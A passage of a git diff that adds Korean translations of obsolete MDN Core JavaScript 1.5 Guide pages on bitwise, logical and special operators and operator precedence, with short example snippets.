+</p><p>JavaScript의 비트 연산자를 다음 표에 요약했습니다.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>연산자</th>
+<th>사용법</th>
+<th>설명</th>
+</tr>
+<tr>
+<td>비트 AND</td>
+<td><code>a &amp; b</code></td>
+<td>두 피연산자의 대응되는 비트가 모두 1이면 1을 반환.</td>
+</tr>
+<tr>
+<td>비트 OR</td>
+<td><code>a | b</code></td>
+<td>두 피연산자의 대응되는 비트에서 둘 중 하나가 1이거나 모두 1인 경우 1을 반환.</td>
+</tr>
+<tr>
+<td>비트 XOR</td>
+<td><code>a ^ b</code></td>
+<td>두 피연산자의 대응되는 비트에서 둘 중 하나가 1이고, 둘 다 1이 아닐 경우 1을 반환.</td>
+</tr>
+<tr>
+<td>비트 NOT</td>
+<td><code>~ a</code></td>
+<td>피연산자의 비트를 뒤집음.</td>
+</tr>
+<tr>
+<td>왼쪽으로 이동</td>
+<td><code>a &lt;&lt; b</code></td>
+<td>a의 2진수 표현을 b 비트만큼 왼쪽으로 이동함. 오른쪽은 0으로 채움.</td>
+</tr>
+<tr>
+<td>부호 비트로 채우는 오른쪽 이동</td>
+<td><code>a &gt;&gt; b</code></td>
+<td>a의 2진수 표현을 b 비트만큼 오른쪽으로 이동함. 오른쪽 남는 비트는 버림.</td>
+</tr>
+<tr>
+<td>0으로 채우는 오른쪽 이동</td>
+<td><code>a &gt;&gt;&gt; b</code></td>
+<td>a의 2진수 표현을 b 비트만큼 오른쪽으로 이동함. 오른쪽 남는 비트는 버리고, 왼쪽은 0으로 채움.</td>
+</tr>
+</tbody></table>
+<p><small><b>표 3.5: 비트 연산자</b></small>
+</p>
+<h4 id=".EB.B9.84.ED.8A.B8_.EB.85.BC.EB.A6.AC_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EB.B9.84.ED.8A.B8_.EB.85.BC.EB.A6.AC_.EC.97.B0.EC.82.B0.EC.9E.90"> 비트 논리 연산자 </h4>
+<p>개념적으로 비트 논리 연산자는 다음과 같이 동작합니다.
+</p>
+<ul><li> 피연산자는 32비트 정수로 변환되어 비트의 나열로 표현됩니다.
+</li><li> 두 피연산자의 비트를 같은 위치에 있는 것 끼리 짝을 짓습니다.
+</li><li> 짝 지어진 각각의 쌍에 대해서 연산자를 적용하여 결과를 만들어냅니다.
+</li></ul>
+<p>예를 들어, 9를 2진수로 쓰면 1001이고 15를 2진수로 표현하면 1111입니다. 두 값에 비트 연산을 적용하면 결과는 다음과 같습니다.
+</p>
+<ul><li> 15 &amp; 9 yields 9 (1111 &amp; 1001 = 1001)
+</li><li> 15 | 9 yields 15 (1111 | 1001 = 1111)
+</li><li> 15 ^ 9 yields 6 (1111 ^ 1001 = 0110)
+</li></ul>
+<h4 id=".EB.B9.84.ED.8A.B8_.EC.9D.B4.EB.8F.99_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EB.B9.84.ED.8A.B8_.EC.9D.B4.EB.8F.99_.EC.97.B0.EC.82.B0.EC.9E.90"> 비트 이동 연산자 </h4>
+<p>비트 이동 연산자는 피연산자 두 개를 받습니다. 첫 번째는 이동하려는 수이고, 두 번째는 첫 번째 피연산자를 몇 비트나 이동시킬지 나타내는 비트 수입니다. 이동 방향은 사용된 연산자에 따라 다릅니다.
+</p><p>이동 연산자는 피연산자를 32비트 정수로 변환하여 연산하고, 왼쪽 연산자와 같은 자료형으로 반환합니다.
+</p><p>이동 연산자는 다음 표에 있습니다.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>연산자</th>
+<th>설명</th>
+<th>예제</th>
+</tr>
+<tr>
+<td>&lt;&lt;<br>
+(왼쪽 이동)</td>
+<td>이 연산자는 첫 번째 피연산자의 비트를 지정된 수만큼 왼쪽으로 옮깁니다. 왼쪽으로 넘친 비트는 버립니다. 오른쪽 빈 자리는 0으로 채웁니다.</td> <td>9&lt;&lt;2는 36을 반환합니다. 1001을 왼쪽으로 2비트 이동하면 100100이 되고 이것은 36이기 때문입니다.</td>
+</tr>
+<tr>
+<td>&gt;&gt;<br>
+(부호 비트로 채우는 오른쪽 이동)</td>
+<td>이 연산자는 첫 번째 피연산자의 비트를 지정된 수 만큼 오른쪽으로 옮깁니다. 오른쪽으로 넘친 비트는 버립니다. 왼쪽 빈 자리는 원래 가장 왼쪽에 있던 비트 값으로 채웁니다.</td>
+<td>9&gt;&gt;2는 2를 반환합니다. 1001을 2비트 오른쪽으로 이동하면 10이 되는데 이것은 2이기 때문입니다. 비슷하게 -9&gt;&gt;2는 -3을 반환하는데, 부호가 유지되기 때문입니다.</td>
+</tr>
+<tr>
+<td>&gt;&gt;&gt;<br>
+(0으로 채우는 오른쪽 이동)</td>
+<td>이 연산자는 첫 번째 피연산자의 비트를 지정된 수 만큼 오른쪽으로 옮깁니다. 오른쪽으로 넘친 비트는 버립니다. 왼쪽 빈 자리는 0으로 채웁니다.</td>
+<td>19&gt;&gt;&gt;2는 4를 반환합니다. 10011을 2비트 오른쪽으로 이동하면 100이 되기 때문입니다. 음수가 아닌 수에 대해서는 0을 채우는 오른쪽 이동이나 부호 비트로 채우는 오른쪽 이동이 똑같은 결과를 반환합니다.</td>
+</tr>
+</tbody></table>
+<p><small><b>표 3.6: 비트 이동 연산자</b></small>
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:Arithmetic_Operators", "Core_JavaScript_1.5_Guide:Operators:Logical_Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_bit-\u00e0-bit", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_bitowe" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/index.html
new file mode 100644
index 0000000000..53b8e67492
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/index.html
@@ -0,0 +1,108 @@
+---
+title: Operators
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators
+---
+<h3 id=".EC.97.B0.EC.82.B0.EC.9E.90" name=".EC.97.B0.EC.82.B0.EC.9E.90"> 연산자 </h3>
+<p>JavaScript에는 다음과 같은 연산자 타입이 있습니다. 이 섹션은 연산자에 대해 기술하고 연산자 우선순위에 대한 정보를 제공합니다.
+</p>
+<ul><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators">할당 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators">비교 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators">산술 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators">비트 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Logical_Operators">논리 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/String_Operators">문자열 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Special_Operators">특수 연산자</a>
+</li></ul>
+<p>JavaScript는 이항연산자와 단항연산자를 모두 사용할 수 있습니다. 이항연산자는 두개의 피연산자(operand)를 가지며, 하나의 피연산자는 연산자 앞에 나머지 하나는 뒤에 위치합니다:
+</p>
+<pre>operand1 operator operand2
+</pre>
+<p>예를 들자면, <code>3+4</code> 혹은 <code>x*y</code>와 같은 것입니다.
+</p><p>단항연산자는 연산자 앞 혹은 뒤쪽에 하나의 피연산자만 있으면 됩니다:
+</p>
+<pre>operator operand
+</pre>
+<p>혹은
+</p>
+<pre>operand operator
+</pre>
+<p>예를 들자면, <code>x++</code> 혹은 <code>++x</code>와 같은 것입니다.
+</p><p>덧붙여, JavaScript는 한개의 삼항연산자, 조건 연산자를 가지고 있습니다. 삼항 연산자는 세개의 피연산자가 필요합니다.
+</p>
+<h4 id=".EC.97.B0.EC.82.B0.EC.9E.90_.EC.9A.B0.EC.84.A0.EC.88.9C.EC.9C.84" name=".EC.97.B0.EC.82.B0.EC.9E.90_.EC.9A.B0.EC.84.A0.EC.88.9C.EC.9C.84"> 연산자 우선순위 </h4>
+<p><small><i><a>관련된 논의</a>에 따라서, 아래의 표는 우선순위 순으로 <b>내림차순</b> 정렬되었습니다.</i></small>
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>연산자 타입</th>
+<th>사용하는 연산자</th>
+</tr>
+<tr>
+<td>멤버 </td>
+<td>.  []</td>
+</tr>
+<tr>
+<td>호출 / 인스턴스 생성 </td>
+<td>()  new</td>
+</tr>
+<tr>
+<td>부정/증감 </td>
+<td>!  ~  -  +  ++  --  typeof  void  delete</td>
+</tr>
+<tr>
+<td>곱하기/나누기 </td>
+<td>*  /  %</td>
+</tr>
+<tr>
+<td>더하기/빼기 </td>
+<td>+  -</td>
+</tr>
+<tr>
+<td>비트 이동 </td>
+<td>&lt;&lt;  &gt;&gt;  &gt;&gt;&gt;</td>
+</tr>
+<tr>
+<td>관계 </td>
+<td>&lt;  &lt;=  &gt;  &gt;=  in  instanceof</td>
+</tr>
+<tr>
+<td>같음 </td>
+<td>==  !=  ===  !==</td>
+</tr>
+<tr>
+<td>비트연산-and </td>
+<td>&amp;</td>
+</tr>
+<tr>
+<td>비트연산-xor </td>
+<td>^</td>
+</tr>
+<tr>
+<td>비트연산-or </td>
+<td>|</td>
+</tr>
+<tr>
+<td>논리연산-and </td>
+<td>&amp;&amp;</td>
+</tr>
+<tr>
+<td>논리연산-or </td>
+<td>||</td>
+</tr>
+<tr>
+<td>조건 </td>
+<td>?:</td>
+</tr>
+<tr>
+<td>할당 </td>
+<td>=  +=  -=  *=  /=  %=  &lt;&lt;=  &gt;&gt;=  &gt;&gt;&gt;=  &amp;=  ^=  |=</td>
+</tr>
+<tr>
+<td>컴마</td>
+<td>,</td>
+</tr>
+</tbody></table>
+<p><small><b>표: 연산자 우선순위</b></small>
+</p><p>이 표의 보다 자세한 버전은 <a href="ko/Core_JavaScript_1.5_Reference/Operators/Operator_Precedence#Table">레퍼런스 섹션</a>에 있는 각 연산자별 상세한 추가 설명 링크를 참고하세요.
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Expressions", "Core_JavaScript_1.5_Guide:Operators:Assignment_Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs", "ja": "ja/Core_JavaScript_1.5_Guide/Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/logical_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/logical_operators/index.html
new file mode 100644
index 0000000000..6b30493f83
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/logical_operators/index.html
@@ -0,0 +1,68 @@
+---
+title: Logical Operators
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Logical_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<h3 id=".EB.85.BC.EB.A6.AC_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EB.85.BC.EB.A6.AC_.EC.97.B0.EC.82.B0.EC.9E.90"> 논리 연산자 </h3>
+<p>논리 연산자는 주로 불리언(논리적) 값과 함께 사용됩니다. 그때 논리 연산자는 불리언 값을 반환합니다. 그러나 &amp;&amp;와 || 연산자는 실제로는 피연산자 중에 하나의 값을 반환하기 때문에, 이 연산자가 불리언 값이 아닌 값과 함께 사용되면 불리언 값이 아닌 값을 반환할 것입니다. 다음 표에 논리 연산자에 대해서 설명했습니다.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>연산자</th>
+<th>사용법</th>
+<th>설명</th>
+</tr>
+<tr>
+<td>&amp;&amp;</td>
+<td>expr1 &amp;&amp; expr2</td>
+<td>(논리적 AND) expr1이 false로 변환될 수 있으면 expr1을 반환하고, 그렇지 않으면 expr2를 반환합니다. 그러므로 불리언 값과 같이 사용하면 피연산자 둘 모두가 true일 때 &amp;&amp;는 true를 반환하고 그렇지 않을 때는 false를 반환합니다.</td>
+</tr>
+<tr>
+<td>||</td>
+<td>expr1 || expr2</td>
+<td>(논리적 OR) expr1이 true로 변환될 수 있으면 expr1을 반환하고 그렇지 않으면 expr2를 반환합니다. 그러므로 불리언 값과 같이 사용하면 ||는 피연산자 중에서 하나만 true이면 true를 반환합니다. 둘 다 false이면 false를 반환합니다.</td>
+</tr>
+<tr>
+<td>!</td>
+<td>!expr</td>
+<td>(논리적 NOT) 피연산자가 true로 변환될 수 있으면 false를 반환합니다. 그렇지 않으면 true를 반환합니다.</td>
+</tr>
+</tbody></table>
+<p><small><b>표 3.7: 논리 연산자</b></small>
+</p><p>false로 변환될 수 있는 표현식은 null, 0, 빈 문자열(""), undefined로 평가될 수 있는 표현식들입니다.
+</p><p>다음 코드는 &amp;&amp; 연산자를 사용하는 예를 보여줍니다.
+</p>
+<pre>a1=true &amp;&amp; true       // t &amp;&amp; t returns true
+a2=true &amp;&amp; false      // t &amp;&amp; f returns false
+a3=false &amp;&amp; true      // f &amp;&amp; t returns false
+a4=false &amp;&amp; (3 == 4)  // f &amp;&amp; f returns false
+a5="Cat" &amp;&amp; "Dog"     // t &amp;&amp; t returns Dog
+a6=false &amp;&amp; "Cat"     // f &amp;&amp; t returns false
+a7="Cat" &amp;&amp; false     // t &amp;&amp; f returns false
+</pre>
+<p>다음 코드는 || 연산자를 사용하는 예를 보여줍니다.
+</p>
+<pre>o1=true || true       // t || t returns true
+o2=false || true      // f || t returns true
+o3=true || false      // t || f returns true
+o4=false || (3 == 4)  // f || f returns false
+o5="Cat" || "Dog"     // t || t returns Cat
+o6=false || "Cat"     // f || t returns Cat
+o7="Cat" || false     // t || f returns Cat
+</pre>
+<p>다음 코드는 ! 연산자를 사용하는 예를 보여줍니다.
+</p>
+<pre>n1=!true              // !t returns false
+n2=!false             // !f returns true
+n3=!"Cat"             // !t returns false
+</pre>
+<h4 id=".EB.8B.A8.EC.B6.95_.ED.8F.89.EA.B0.80" name=".EB.8B.A8.EC.B6.95_.ED.8F.89.EA.B0.80"> 단축 평가 </h4>
+<p>논리 표현식이 왼쪽부터 오른쪽으로 평가되기 때문에 다음 규칙을 이용해서 "단축(short-circuit)" 평가를 할 수 있습니다.
+</p>
+<ul><li> <code>false</code> &amp;&amp; <i>아무 표현식</i>은 false로 단축 평가 됩니다.
+</li><li> <code>true</code> || <i>아무 표현식</i>은 true로 단축 평가 됩니다.
+</li></ul>
+<p>이 규칙을 따라 평가를 수행한다고 해서 피연산자를 모두 평가할 때와 결과가 달라지지 않습니다. <i>아무 표현식</i> 부분은 평가되지 않기 때문에 아무런 부수 효과(side effect)도 일어나지 않는다는 것에 주의하십시오.
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:Bitwise_Operators", "Core_JavaScript_1.5_Guide:Operators:String_Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_logiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_logiczne" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/special_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/special_operators/index.html
new file mode 100644
index 0000000000..aa66b296fc
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/special_operators/index.html
@@ -0,0 +1,228 @@
+---
+title: Special Operators
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Special_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<h3 id=".ED.8A.B9.EC.88.98_.EC.97.B0.EC.82.B0.EC.9E.90" name=".ED.8A.B9.EC.88.98_.EC.97.B0.EC.82.B0.EC.9E.90"> 특수 연산자 </h3>
+<p>JavaScript 다음과 같은 특별한 연산자를 제공합니다.
+</p>
+<ul><li> {{ Anch("조건 연산자") }}
+</li><li> {{ Anch("쉼표 연산자") }}
+</li><li> {{ Anch("delete") }}
+</li><li> {{ Anch("in") }}
+</li><li> {{ Anch("instanceof") }}
+</li><li> {{ Anch("new") }}
+</li><li> {{ Anch("this") }}
+</li><li> {{ Anch("typeof") }}
+</li><li> {{ Anch("void") }}
+</li></ul>
+<h4 id=".EC.A1.B0.EA.B1.B4_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EC.A1.B0.EA.B1.B4_.EC.97.B0.EC.82.B0.EC.9E.90"> 조건 연산자 </h4>
+<p>조건 연산자는 JavaScript에서 유일하게 세 개의 피연산자를 사용하는 연산자입니다. 연산자는 조건에 따라 둘 중에 하나의 값을 가질 수 있습니다. 문법은 이렇습니다.
+</p>
+<pre>condition ? val1 : val2
+</pre>
+<p><code>condition</code>이 true이면 연산자는 <code>val1</code>의 값을 갖습니다. 그렇지 않으면 <code>val2</code>의 값을 갖습니다. 다른 표준 연산자를 사용할 수 있는 곳이면 어디든지 조건 연산자를 사용할 수 있습니다.
+</p>
+<pre>status = (age &gt;= 18) ? "adult" : "minor"
+</pre>
+<p>이 문장은 <code>age</code>가 18이거나 더 큰 경우에 <code>status</code> 변수에 "adult"라는 값을 할당합니다. 그렇지 않으면 "minor"라는 값을 할당합니다.
+</p>
+<h4 id=".EC.89.BC.ED.91.9C_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EC.89.BC.ED.91.9C_.EC.97.B0.EC.82.B0.EC.9E.90"> 쉼표 연산자 </h4>
+<p>쉼표 연산자(,)는 단순히 피연산자 둘을 모두 평가하고 두 번째 피연산자의 값을 반환하는 연산자입니다. 이 연산자는 주로 <code>for</code> 반복문에서 변수 여러 개가 매번 업데이트 되게 하는데 쓰입니다.
+</p><p>예를 들어 <code>a</code>가 각각 10줄의 원소를 가지는 2차원 배열일 때, 다음 코드에서는 변수 두 개를 한 번에 바꾸기 위해서 쉼표 연산자를 사용하고 있습니다. 이 코드는 배열의 대각선 원소를 출력합니다.
+</p>
+<pre>for (var i=0, j=9; i &lt;= 9; i++, j--)
+   document.writeln("a["+i+"]["+j+"]= " + a[i][j])
+</pre>
+<h4 id="delete" name="delete"> delete </h4>
+<p>delete는 개체(object), 개체의 속성(property), 배열의 특정 인덱스에 있는 원소(element)를 지우는 연산자입니다. 문법은 이렇습니다.
+</p>
+<pre>delete objectName
+delete objectName.property
+delete objectName[index]
+delete property // with 문장 안에서만 유효합니다
+</pre>
+<p><code>objectName</code>은 개체 이름이고, <code>property</code>는 개체에 존재하는 속성이고, <code>index</code>는 배열의 원소 위치를 나타내는 정수입니다.
+</p><p>네 번째 형식은 개체의 속성을 지우는 코드인데, <code>with</code> 문장 안에서만 사용할 수 있습니다.
+</p><p>암시적으로 선언된 변수를 지울 때는 <code>delete</code> 연산자를 사용할 수 있지만 <code>var</code> 문장을 이용해서 선언된 변수는 지울 수 없습니다.
+</p><p><code>delete</code> 연산자 실행이 성공하면, 속성이나 원소가 <code>undefined</code>로 설정됩니다. <code>delete</code> 연산자는 실행이 가능하면 true를 반환하고, 불가능하면 false를 반환합니다.
+</p>
+<pre>x=42
+var y= 43
+myobj=new Number()
+myobj.h=4      // h라는 속성을 만듭니다
+delete x       // returns true (암시적으로 선언된 변수는 지울 수 있습니다)
+delete y       // returns false (var로 선언한 변수는 지울 수 없습니다)
+delete Math.PI // returns false (미리 정의된 속성은 지울 수 없습니다)
+delete myobj.h // returns true (사용자 정의 속성은 지울 수 있습니다)
+delete myobj   // returns true (암시적으로 선언되었으므로 지울 수 있습니다)
+</pre>
+<p><b>배열의 원소를 지우기</b><br>
+배열의 원소를 지울 때, 배열의 길이에는 변화가 없습니다. 예를 들어, a{{ mediawiki.external(3) }}, a{{ mediawiki.external(4) }}를 지우더라도 a{{ mediawiki.external(4) }}와 a{{ mediawiki.external(3) }}은 여전히 정의되지 않습니다.
+</p><p><code>delete</code> 연산자가 배열 원소를 제거할 때 원소는 더이상 배열에 존재하지 않습니다. 아래 예제에서 trees{{ mediawiki.external(3) }}은 <code>delete</code>로 제거되었습니다.
+</p>
+<pre>trees=new Array("redwood","bay","cedar","oak","maple")
+delete trees[3]
+if (3 in trees) {
+   // 이 블록은 실행되지 않습니다.
+}
+</pre>
+<p>배열 원소가 존재하긴 하지만 정의되지 않은 값을 가지도록 하고 싶다면 <code>delete</code> 연산자 대신 <code>undefined</code> 키워드를 사용하십시오. 다음 예제에서 <code>trees{{ mediawiki.external(3) }}</code>에 <code>undefined</code> 값을 할당했지만 배열 요소는 여전히 존재합니다.
+</p>
+<pre>trees=new Array("redwood","bay","cedar","oak","maple")
+trees[3]=undefined
+if (3 in trees) {
+   // 이 블록은 실행됩니다.
+}
+</pre>
+<h4 id="in" name="in"> in </h4>
+<p><code>in</code> 연산자는 지정된 속성이 지정된 개체에 있으면 true를 반환합니다. 문법은 이렇습니다.
+</p>
+<pre>propNameOrNumber in objectName
+</pre>
+<p><code>propNameOrNumber</code>은 속성 이름을 나타내는 문자열이나 배열 인덱스를 나타내는 수이고, <code>objectName</code>은 개체 이름입니다.
+</p><p>다음 예제는 <code>in</code> 연산자의 몇 가지 사용법을 보여줍니다.
+</p>
+<pre>// 배열
+trees=new Array("redwood","bay","cedar","oak","maple")
+0 in trees        // returns true
+3 in trees        // returns true
+6 in trees        // returns false
+"bay" in trees    // returns false (원하는 인덱스를 지정해야 하는데,
+                  // 그 인덱스에 있는 값을 지정하면 안됩니다.)
+"length" in trees // returns true (length는 배열의 속성입니다.)
+
+// 미리 정의된 개체
+"PI" in Math          // returns true
+myString=new String("coral")
+"length" in myString  // returns true
+
+// 사용자 개체
+mycar = {make:"Honda",model:"Accord",year:1998}
+"make" in mycar  // returns true
+"model" in mycar // returns true
+</pre>
+<h4 id="instanceof" name="instanceof"> instanceof </h4>
+<p><code>instanceof</code>는 지정된 개체가 지정된 개체 형식이면 true를 반환합니다. 문법은 이렇습니다.
+</p>
+<pre>objectName instanceof objectType
+</pre>
+<p><code>objectName</code>은 <code>objectType</code>과 비교할 개체의 이름이고, <code>objectType</code>은 개체 형식으로 <code>Date</code>나 <code>Array</code> 같은 것입니다.
+</p><p>실행중에 개체의 형식을 알고 싶으면 <code>instanceof</code>를 사용하면 됩니다. 예를 들어 예외를 처리할 때, 발생한 예외의 형식에 따라 서로 다른 예외 처리 코드를 실행할 수 있습니다.
+</p><p>다음 코드에서 <code>theDay</code>가 <code>Date</code> 개체인지 결정하기 위해서 <code>instanceof</code>를 사용합니다. <code>theDay</code>는 <code>Date</code> 개체이기 때문에 <code>if</code>문 안에 있는 문장이 실행됩니다.
+</p>
+<pre>theDay=new Date(1995, 12, 17)
+if (theDay instanceof Date) {
+   // 실행할 문장
+}
+</pre>
+<h4 id="new" name="new"> new </h4>
+<p>사용자 정의 개체 형식이나 <code>Array, Boolean, Date, Function, Image, Number, Object, Option, RegExp, String</code> 같이 미리 정의된 개체 형식의 인스턴스를 만들 때 <code>new</code> 연산자를 사용합니다. 서버에서는 <code>DbPool, Lock, File, SendMail</code> 등을 만들 때 사용할 수 있습니다. <code>new</code>는 다음과 같이 사용합니다.
+</p>
+<pre>objectName = new objectType ( param1 [,param2] ...[,paramN] )
+</pre>
+<p><a href="ko/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_Object_Initializers">개체 초기화 지정자 사용하기</a>에 설명한 것처럼 개체 초기화 지정자를 이용해서 개체를 만들 수도 있습니다.
+</p><p>더 많은 정보를 얻으려면 JavaScript 레퍼런스의 <a href="ko/Core_JavaScript_1.5_Reference/Operators/Special_Operators/new_Operator">new 연산자</a> 페이지를 보시기 바랍니다.
+</p>
+<h4 id="this" name="this"> this </h4>
+<p>현재 개체를 참조할 때 <code>this</code> 키워드를 사용합니다. 일반적으로 <code>this</code>는 메소드를 호출하는 개체를 참조합니다. 다음과 같이 사용하면 됩니다.
+</p>
+<pre>this[.propertyName]
+</pre>
+<p><b>예제 1.</b><br>
+개체의 <code>value</code> 속성이 높거나 낮은 값을 가지는지 검증하는 <code>validate</code>라는 함수가 있다고 가정합시다.
+</p>
+<pre>function validate(obj, lowval, hival) {
+   if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+      alert("Invalid Value!")
+}
+</pre>
+<p>이제 우리는 폼의 각 요소의 <code>onChange</code> 이벤트 핸들러에서 <code>validate</code> 함수를 호출하면서, <code>this</code>를 이용하여 스스로를 함수에 전달할 수 있습니다.
+</p>
+<pre>&lt;B&gt;Enter a number between 18 and 99:&lt;/B&gt;
+&lt;INPUT TYPE = "text" NAME = "age" SIZE = 3
+   onChange="validate(this, 18, 99)"&gt;
+</pre>
+<p><b>예제 2.</b><br>
+<code>form</code> 속성과 결합되면, <code>this</code>는 현재 개체가 포함된 폼을 참조할 수 있습니다. 다음 예제에서 <code>myForm</code> 폼은 <code>Text</code> 개체와 버튼을 포함하고 있습니다. 사용자가 버튼을 클릭하면 <code>Text</code> 개체의 값이 폼 이름으로 설정됩니다. 버튼의 <code>onClick</code> 이벤트 핸들러는 부모 폼인 <code>myForm</code>을 참조하기 위해서 <code>this.form</code>을 사용하고 있습니다.
+</p>
+<pre>&lt;FORM NAME="myForm"&gt;
+Form name:&lt;INPUT TYPE="text" NAME="text1" VALUE="Beluga"&gt;
+&lt;P&gt;
+&lt;INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
+   onClick="this.form.text1.value=this.form.name"&gt;
+&lt;/FORM&gt;
+</pre>
+<h4 id="typeof" name="typeof"> typeof </h4>
+<p><code>typeof</code> 연산자는 둘 중 한 가지 방법으로 사용할 수 있습니다.
+</p>
+<pre>1. typeof operand
+2. typeof (operand)
+</pre>
+<p><code>typeof</code> 연산자는 피연산자의 평가되지 않은 형식을 나타내는 문자열을 반환합니다. <code>피연산자</code>는 string, variable, keyword, object 등의 타입을 반환하게 됩니다. 괄호는 선택적입니다.
+</p><p>우리가 이런 변수를 정의했다고 해봅시다.
+</p>
+<pre>var myFun = new Function("5+2")
+var shape="round"
+var size=1
+var today=new Date()
+</pre>
+<p><code>typeof</code>는 이 변수들에 대해서 다음과 같은 결과를 반환할 것입니다.
+</p>
+<pre>typeof myFun is function
+typeof shape is string
+typeof size is number
+typeof today is object
+typeof dontExist is undefined
+</pre>
+<p><code>true</code>와 <code>null</code> 키워드에 대해서 <code>typeof</code> 연산자는 다음과 같은 결과를 반환합니다.
+</p>
+<pre>typeof true is boolean
+typeof null is object
+</pre>
+<p>수와 문자열에 대해서 <code>typeof</code> 연산자는 다음과 같은 결과를 반환합니다.
+</p>
+<pre>typeof 62 is number
+typeof 'Hello world' is string
+</pre>
+<p>속성 값에 대해서 <code>typeof</code> 연산자는 속성이 포함하고 있는 값의 형식을 반환합니다.
+</p>
+<pre>typeof document.lastModified is string
+typeof window.length is number
+typeof Math.LN2 is number
+</pre>
+<p>메소드와 함수에 사용하면 <code>typeof</code> 연산자는 다음과 같은 결과를 반환합니다.
+</p>
+<pre>typeof blur is function
+typeof eval is function
+typeof parseInt is function
+typeof shape.split is function
+</pre>
+<p>미리 정의된 개체들에 대해서 <code>typeof</code> 연산자는 다음과 같은 결과를 반환합니다.
+</p>
+<pre>typeof Date is function
+typeof Function is function
+typeof Math is function
+typeof Option is function
+typeof String is function
+</pre>
+<h4 id="void" name="void"> void </h4>
+<p><code>void</code> 연산자는 다음과 같이 사용할 수 있습니다.
+</p>
+<pre>1. void (expression)
+2. void expression
+</pre>
+<p><code>void</code> 연산자는 표현식이 값을 반환하지 않으면서 평가되어야 한다고 지정하는데 사용됩니다. <code>expression</code>은 평가하려는 JavaScript 표현식입니다. 표현식을 감싸는 괄호는 선택적이지만 사용하는 쪽이 더 좋은 스타일입니다.
+</p><p>표현식을 하이퍼텍스트 링크로 지정하기 위해서 <code>void</code> 연산자를 사용할 수 있습니다. 표현식이 평가되기는 하지만 현재 문서 대신 로드되지는 않습니다.
+</p><p>아래 코드는 사용자가 클릭할 때 아무 동작도 하지 않는 하이퍼텍스트 링크를 만듭니다. 사용자가 링크를 클릭하면 <code>void(0)</code>는 정의되지 않은 것(undefined)으로 평가되고 JavaScript에서 아무런 효과가 없습니다.
+</p>
+<pre>&lt;A HREF="javascript:void(0)"&gt;Click here to do nothing&lt;/A&gt;
+</pre>
+<p>다음 코드는 클릭하면 폼을 제출하는 하이퍼텍스트 링크를 만듭니다.
+</p>
+<pre>&lt;A HREF="javascript:void(document.form.submit())"&gt;
+Click here to submit&lt;/A&gt;
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:String_Operators", "Core_JavaScript_1.5_Guide:Creating_a_Regular_Expression") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_sp\u00e9ciaux", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_specjalne" } ) }}
